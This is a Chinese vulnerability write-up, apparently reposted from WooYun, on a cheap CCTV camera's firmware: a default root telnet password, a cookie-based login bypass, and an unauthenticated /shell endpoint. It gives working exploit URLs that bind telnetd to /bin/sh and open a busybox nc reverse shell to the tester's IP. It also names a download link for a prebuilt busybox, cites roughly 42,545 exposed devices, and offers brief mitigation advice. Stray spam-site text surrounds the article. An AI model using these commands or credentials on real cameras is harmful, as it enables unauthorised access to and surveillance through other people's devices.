<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/papers/12945

                    0x00 漏洞分析


                    今天看老外分析了一款廉價CCTV攝像頭的文章,地址在https://www.pentestpartners.com/blog/pwning-cctv-cameras/,攝像頭的amazon購買地址是http://www.amazon.co.uk/dp/B0162AQCO4,老外曝光的漏洞主要有四個,分別是默認密碼,web登陸認證繞過,內建的webshell,以及發送攝像圖片到硬編碼的郵箱地址,老外的文章經過我的測試,有錯誤和不全的地方,我都一一補充在下面了 :)

                    1. 默認密碼

                    WEB默認登陸名是admin,密碼是空。

                    另外經過破解passwd,發現root的默認密碼是"juantech",可以通過telnet登錄直接獲取cmdshell,如圖1:

                    enter image description here

                    2. WEB認證繞過

                    當你第一次訪問的時候,index.html會要求你輸入用戶名和密碼,輸入正確,則跳轉到view2.html。如果你直接訪問view2.html,會被重定向到index.html,要求你輸入帳戶信息。下載固件用binwalk解壓,如圖2:

                    enter image description here

                    查看view2.js,發現以下內容:

                    #!js
                    $(document).ready(function(){
                        dvr_camcnt = Cookies.get(“dvr_camcnt");
                        dvr_usr = Cookies.get("dvr_usr");
                        dvr_pwd = Cookies.get("dvr_pwd");
                        if(dvr_camcnt == null || dvr_usr == null || dvr_pwd == null)
                        {
                            location.href = "/index.html";
                        }
                    

                    可以看到,如果dvr_camcnt,dvr_usr,dvr_pwd這3個值為空,就會跳轉到index.html,所以我們只要將dvr_camcnt,dvr_usr,dvr_pwd設置不為空就可以了,通過查看view2.js源碼可以知道,dvr_camcnt其實是控制頻道(chanel)的,如下:

                    #!js
                    function goto_open_all()
                     80 {   
                     81     if(dvr_viewer && dvr_viewer.ConnectRTMP)
                     82     {
                     83         dvr_viewer.SetPlayerNum(dvr_camcnt);
                     84 //      switch(dvr_camcnt)
                     85 //      {
                     86 //      case "4":
                     87 //          dvr_viewer.flSetViewDiv(4);
                     88 //          break;
                     89 //      case "8":
                     90 //          dvr_viewer.flSetViewDiv(9);
                     91 //          break;
                     92 //      case "16":
                     93 //          dvr_viewer.flSetViewDiv(16);
                     94 //          break;
                     95 //      case "24":
                     96 //          dvr_viewer.flSetViewDiv(25);
                     97 //          break;
                     98 //      }
                     99         open_all(dvr_camcnt);
                    100     }
                    101     else
                    102     {
                    103         dvr_viewer = $("#viewer")[0];
                    104         setTimeout(goto_open_all, 1000);
                    105     }
                    106 }   
                    

                    原文說dvr_camcnt只能設置2,4,8,24這幾個值。實際測試,輸入其他值都可以的。繞過登陸認證的證明如圖3

                    enter image description here

                    3.內建的webshell

                    通過查看解壓后的固件目錄,我們發現dvr_app包含了web服務,使用strings查看dvr_app二進制,可以看到 /moo,/whoami,/shell,/snapshot 等字符,嘗試訪問,發現沒有任何驗證就可以訪問這些功能,如圖4,

                    enter image description here

                    訪問/shell的時候,卡住了,把dvr_app拖入ida,查看shell功能相應的處理邏輯,因為是固件是ARM小端的架構,可以直接在IDA里F5看偽代碼。如圖5

                    enter image description here

                    這里利用有2個方式,一個是直接telnetd綁定/bin/sh到任意端口,然后telnet連接過去,不需要認證就可以telnet登錄,這個利用方式在你不知道固件本身TELNET的賬戶信息的時候,是個很常見的利用方法。命令如下:

                    http://目標ip/shell?/usr/sbin/telnetd -l/bin/sh -p 25
                    

                    但是實際測試還要考慮防火墻/NAT的問題,好多設備僅僅映射80出來,你開通的其他端口,雖然設備打開了,但是你連接不上去。如圖6.

                    enter image description here

                    這時候你可以用nc反彈shell出來,估計是因為固件版本不一樣,我測試的目標busybox里是自帶nc的,所以通過執行

                    http://目標ip/shell?/bin/busybox nc 我的IP 53 -e /bin/sh
                    

                    就可以獲取到反彈的cmdshell了,如圖7

                    enter image description here

                    文章說他的固件的busybox沒有帶nc,所以他靜態編譯了一個busybox,然后通過wget下載到一個可寫的目錄,然后賦予busybox可執行權限,最后運行nc命令。他已經提供了編譯好的busybox,可以通過http://212.111.43.161/busybox來下載。

                    4.發送攝像圖片到硬編碼的郵箱地址

                    通過strings查看dvr_app二進制,還發現了另一處可疑的字符串

                    .rodata:002260E0 0000005A C [email protected]&subject=Who are you?&content=%s&snapshot=yes&vin=0&size=320x180

                    [email protected]",找到了https://github.com/simonjiuan/ipc/blob/master/src/cgi_misc.c,通過源碼可以看到

                    #!c
                    #define DEFAULT_USER_EMAIL "[email protected]"
                    #define DEFAULT_USER_PASSWORD "dvrhtml"
                    #define DEFAULT_SMTP_SERVER "mail.esee100.com"
                    #define DEAFULT_TARGE_EMAIL "[email protected]"
                    

                    @hdmoore在twitter也提到這個中國郵箱,所以我略微的看了看。目前mail.esee100.com已經不解析了,但是esee100.com的CNMAE解析到了www.dvrskype.com。通過查詢www.dvrskype.com的域名信息,[email protected],如圖8,注意這里ORG是"廣州市九安光電技術有限公司",而github的上傳者也是九安光電技術的技術人員。通過圖9可以看到,他會把/whoami的返回信息和CCTV攝像頭啟動時的拍攝[email protected],當然現在這個SMTP發送服務器已經不存在了,也有可能是當時開發留下的測試的功能。

                    0x01 全球統計


                    因為是運行的自定義的web服務器,HTTP服務器頭包含明顯的“JAWS/1.0”特征,最近sans比較關注國內的漏洞掃描(https://isc.sans.edu/forums/diary/Scanning+for+Fortinet+ssh+backdoor/20635/),所以我就直接用shodan的結果了。如圖10

                    enter image description here

                    可以看到這款廉價的CCTV攝像頭對公網開放的全球大概有42545臺,最常用的端口是80/8080,用的最多的國家是土耳其,印度,越南。 :)

                    目前應該也有對這個CCTV攝像頭的自動化惡意利用了,通過查看幾個,發現幾臺設備的進程里都包含

                     1560 root       620 S    ./dropbear -p 15081 -r /tmp/dropbear/dropbear_rsa_ho
                    

                    以及wget遠程下載惡意利用文件。

                    0x02 漏洞防護


                    目前官方還沒有補丁固件,建議不要對外開放80/23等管理端口。

                    0x03 感謝的人


                    感謝低調的張老師教我逆向知識,張老師的好和善是對我問的幼稚問題都耐心的回答,從來沒煩過。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频